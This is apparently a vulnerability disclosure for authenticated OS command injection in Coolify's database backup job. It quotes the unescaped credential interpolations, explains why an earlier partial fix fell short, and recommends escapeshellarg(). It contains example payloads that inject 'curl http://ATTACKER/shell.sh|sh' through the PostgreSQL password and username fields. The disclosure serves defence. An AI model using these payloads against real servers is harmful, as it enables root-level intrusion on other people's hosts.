Coolify is a self-hosted PaaS (Platform as a Service) with over 36,000 stars on GitHub. It lets you deploy applications, databases, and services on your own servers. During a source code audit of the latest version, I found that the database backup functionality constructs shell commands by directly interpolating user-controlled credentials without any escaping. This results in authenticated Remote Code Execution on the host system.
The ironic part: a previous advisory (GHSA-vm5p-43qh-7pmq) attempted to fix command injection in backup jobs by adding escapeshellarg() — but only to the database name field. Every other credential field was left untouched.
The core issue is in app/Jobs/DatabaseBackupJob.php. When Coolify creates a database backup, it builds shell commands using PHP string interpolation. The database credentials — username, password, collection names — come from user input (set during database creation via the dashboard or API) and are never passed through escapeshellarg().
Here are the five injectable fields I identified:
// DatabaseBackupJob.php
$backupCommand .= " $this->container_name pg_dumpall --username {$this->database->postgres_user} | gzip > $this->backup_location";
The postgres_user field is interpolated directly into the command string. No quotes, no escaping.
$backupCommand .= " -e PGPASSWORD="{$this->postgres_password}"";
The password is wrapped in double quotes, but double quotes in bash allow command substitution. A payload containing $(command) or backticks will execute.
$commands[] = "docker exec $this->container_name mysqldump -u root -p"{$this->database->mysql_root_password}" --all-databases ...";
Same pattern. Double-quoted interpolation = command substitution.
$collectionsToExclude = str($databaseWithCollections)->after(':')->explode(',');
// later:
." --excludeCollection " . $collectionsToExclude->implode(' --excludeCollection ')
Collection names from the exclude list are concatenated directly. No quoting at all.
$url = "mongodb://{$this->mongo_root_username}:{$this->mongo_root_password}@{$this->container_name}:27017";
$commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --archive > $this->backup_location";
Both the MongoDB username and password are placed directly into the connection URI, which is part of the shell command.
The simplest attack path uses the PostgreSQL password field:
x" $(curl http://ATTACKER/shell.sh|sh) "docker exec ... -e PGPASSWORD="x" $(curl http://ATTACKER/shell.sh|sh) "" container pg_dumpall ...
Bash interprets $(curl http://ATTACKER/shell.sh|sh) as command substitution. The attacker's script downloads and executes on the server. Since Coolify typically runs as root, this gives root-level RCE.
For the PostgreSQL username field, the payload is even simpler since there are no quotes to break out of:
postgres_user = "x;curl http://ATTACKER/shell.sh|sh;#"
// Resulting command:
pg_dumpall --username x;curl http://ATTACKER/shell.sh|sh;# | gzip > ...
The semicolons terminate the pg_dumpall command, execute the payload, and the # comments out the rest.
The previous advisory (GHSA-vm5p-43qh-7pmq) added escaping, but only to one field:
// What they fixed:
$escapedDbName = escapeshellarg($this->database->name);
// What they left untouched:
$this->database->postgres_user // username - no escaping
$this->postgres_password // password - no escaping
$this->database->mysql_root_password // password - no escaping
$collectionsToExclude // mongo collections - no escaping
$this->mongo_root_username // username - no escaping
$this->mongo_root_password // password - no escaping
This is a common pattern in security patches: fixing the specific field mentioned in the report without auditing adjacent code for the same class of vulnerability.
Every user-controlled value that enters a shell command needs escapeshellarg():
$escapedUser = escapeshellarg($this->database->postgres_user);
$escapedPassword = escapeshellarg($this->postgres_password);
$backupCommand .= " -e PGPASSWORD=$escapedPassword $this->container_name pg_dumpall --username $escapedUser | gzip > $this->backup_location";
The same treatment needs to be applied to MySQL root password, MongoDB credentials, and collection names. Better yet, use environment variables passed through Docker's --env flag with proper escaping, or write credentials to a temporary file and reference it.
| Advisory | GHSA-4vff-6j8j-qhcg |
| Severity | Critical (CVSS 9.1) |
| CWE | CWE-78 — OS Command Injection |
| Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| Reported | March 3, 2026 |
| Disclosure deadline | June 1, 2026 |